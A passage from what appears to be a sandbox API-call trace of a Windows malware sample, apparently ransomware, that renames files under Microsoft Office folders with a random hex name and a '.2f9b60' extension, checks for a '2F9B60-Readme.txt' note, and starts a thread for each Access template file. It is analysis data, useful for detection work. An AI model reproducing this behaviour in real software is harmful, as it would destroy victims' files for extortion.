(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0125.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.434] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="5a") returned 2 [0125.434] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="5b") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="fe") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="20") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="c2") returned 2 [0125.435] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="65") returned 2 [0125.435] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="56") returned 2 [0125.435] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="a1") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="9d") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="8e") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="7c") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="3a") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="f4") returned 2 [0125.435] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="b7") returned 2 [0125.435] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="0f") returned 2 [0125.435] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="62") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="e2") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="dd") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="0f") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="87") returned 2 [0125.435] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="19") returned 2 [0125.435] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="77") returned 2 [0125.435] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="59") returned 2 [0125.435] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="10") returned 2 [0125.435] RtlInitAnsiString (in: DestinationString=0x2233fb88, SourceString="5a5bfe20c26556a19d8e7c3af4b70f62e2dd0f8719775910" | out: DestinationString="5a5bfe20c26556a19d8e7c3af4b70f62e2dd0f8719775910") [0125.436] RtlAnsiStringToUnicodeString (in: DestinationString=0x2233fb58, SourceString="5a5bfe20c26556a19d8e7c3af4b70f62e2dd0f8719775910", AllocateDestinationString=1 | out: DestinationString="5a5bfe20c26556a19d8e7c3af4b70f62e2dd0f8719775910") returned 0x0 [0125.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863dc0 [0125.436] wcscat (in: _Dest=0x2027baf0, _Source="5a5bfe20c265" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265" [0125.436] wcscat (in: _Dest=0x2027baf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265.2f9b60" [0125.436] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265.2f9b60", NtPathName=0x2233fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5a5bfe20c265.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0125.438] NtQueryInformationFile (in: FileHandle=0x14d4, IoStatusBlock=0x2233fb98, FileInformation=0x2233fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2233fb98, FileInformation=0x2233fba8) returned 0x0 [0125.438] NtSetInformationFile (FileHandle=0x14d4, IoStatusBlock=0x2233fb98, FileInformation=0x2233fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027baf0) returned 1 [0125.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 [0125.441] FlushFileBuffers (hFile=0x14d4) returned 1 [0125.444] CloseHandle (hObject=0x14d4) returned 1 [0125.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.447] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.447] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d2f0) returned 1 Thread: id = 1628 os_tid = 0x1af4 [0125.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85c9f0 [0125.470] wcscpy (in: _Dest=0x1b85c9f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0125.470] wcscat (in: _Dest=0x1b85c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0125.470] wcscat (in: _Dest=0x1b85c9f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*" [0125.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99450 [0125.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0125.473] wcscmp (_String1=".", _String2=".") returned 0 [0125.473] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.474] wcscmp (_String1="..", _String2=".") returned 1 [0125.474] wcscmp (_String1="..", _String2="..") returned 0 [0125.474] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0125.474] wcscmp (_String1="1 Right.accdt", _String2=".") returned 1 [0125.474] wcscmp (_String1="1 Right.accdt", _String2="..") returned 1 [0125.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027bd70 [0125.474] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0125.474] wcscat (in: _Dest=0x2027bd70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0125.474] wcscat (in: _Dest=0x2027bd70, _Source="1 Right.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" [0127.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0127.639] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="1TOP~1.ACC")) returned 1 [0127.639] wcscmp (_String1="1 Top.accdt", _String2=".") returned 1 [0127.639] wcscmp (_String1="1 Top.accdt", _String2="..") returned 1 [0127.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0ab0 [0127.640] wcscpy (in: _Dest=0x202b0ab0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.640] wcscat (in: _Dest=0x202b0ab0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.640] wcscat (in: _Dest=0x202b0ab0, _Source="1 Top.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" [0127.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1894 [0127.641] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="2RIGHT~1.ACC")) returned 1 [0127.641] wcscmp (_String1="2 Right.accdt", _String2=".") returned 1 [0127.641] wcscmp (_String1="2 Right.accdt", _String2="..") returned 1 [0127.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b19b0 [0127.641] wcscpy (in: _Dest=0x202b19b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.641] wcscat (in: _Dest=0x202b19b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.641] wcscat (in: _Dest=0x202b19b0, _Source="2 Right.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" [0127.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b19b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1898 [0127.642] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="2TOP~1.ACC")) returned 1 [0127.642] wcscmp (_String1="2 Top.accdt", _String2=".") returned 1 [0127.642] wcscmp (_String1="2 Top.accdt", _String2="..") returned 1 [0127.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0dd0 [0127.643] wcscpy (in: _Dest=0x202b0dd0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.643] wcscat (in: _Dest=0x202b0dd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.643] wcscat (in: _Dest=0x202b0dd0, _Source="2 Top.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" [0127.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x189c [0127.644] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="COMMEN~1.ACC")) returned 1 [0127.644] wcscmp (_String1="Comments.accdt", _String2=".") returned 1 [0127.644] wcscmp (_String1="Comments.accdt", _String2="..") returned 1 [0127.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1c30 [0127.644] wcscpy (in: _Dest=0x202b1c30, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.644] wcscat (in: _Dest=0x202b1c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.644] wcscat (in: _Dest=0x202b1c30, _Source="Comments.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" [0127.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0 [0127.645] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1 [0127.645] wcscmp (_String1="Contacts.accdt", _String2=".") returned 1 [0127.645] wcscmp (_String1="Contacts.accdt", _String2="..") returned 1 [0127.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b15f0 [0127.646] wcscpy (in: _Dest=0x202b15f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.646] wcscat (in: _Dest=0x202b15f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.646] wcscat (in: _Dest=0x202b15f0, _Source="Contacts.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" [0127.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b15f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a4 [0127.647] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="DETAIL~1.ACC")) returned 1 [0127.647] wcscmp (_String1="Details.accdt", _String2=".") returned 1 [0127.647] wcscmp (_String1="Details.accdt", _String2="..") returned 1 [0127.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1f50 [0127.647] wcscpy (in: _Dest=0x202b1f50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.647] wcscat (in: _Dest=0x202b1f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.647] wcscat (in: _Dest=0x202b1f50, _Source="Details.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" [0127.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8 [0127.648] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="DIALOG~1.ACC")) returned 1 [0127.648] wcscmp (_String1="Dialog.accdt", _String2=".") returned 1 [0127.648] wcscmp (_String1="Dialog.accdt", _String2="..") returned 1 [0127.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1690 [0127.649] wcscpy (in: _Dest=0x202b1690, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.649] wcscat (in: _Dest=0x202b1690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.649] wcscat (in: _Dest=0x202b1690, _Source="Dialog.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" [0127.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac [0127.650] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1 [0127.650] wcscmp (_String1="Issues.accdt", _String2=".") returned 1 [0127.650] wcscmp (_String1="Issues.accdt", _String2="..") returned 1 [0127.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0fb0 [0127.650] wcscpy (in: _Dest=0x202b0fb0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.650] wcscat (in: _Dest=0x202b0fb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.650] wcscat (in: _Dest=0x202b0fb0, _Source="Issues.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" [0127.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0 [0127.652] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="LIST~1.ACC")) returned 1 [0127.652] wcscmp (_String1="List.accdt", _String2=".") returned 1 [0127.652] wcscmp (_String1="List.accdt", _String2="..") returned 1 [0127.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0c90 [0127.652] wcscpy (in: _Dest=0x202b0c90, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0127.652] wcscat (in: _Dest=0x202b0c90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0127.652] wcscat (in: _Dest=0x202b0c90, _Source="List.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" [0127.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b4 [0127.654] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="MEDIA~1.ACC")) returned 1 [0127.654] wcscmp 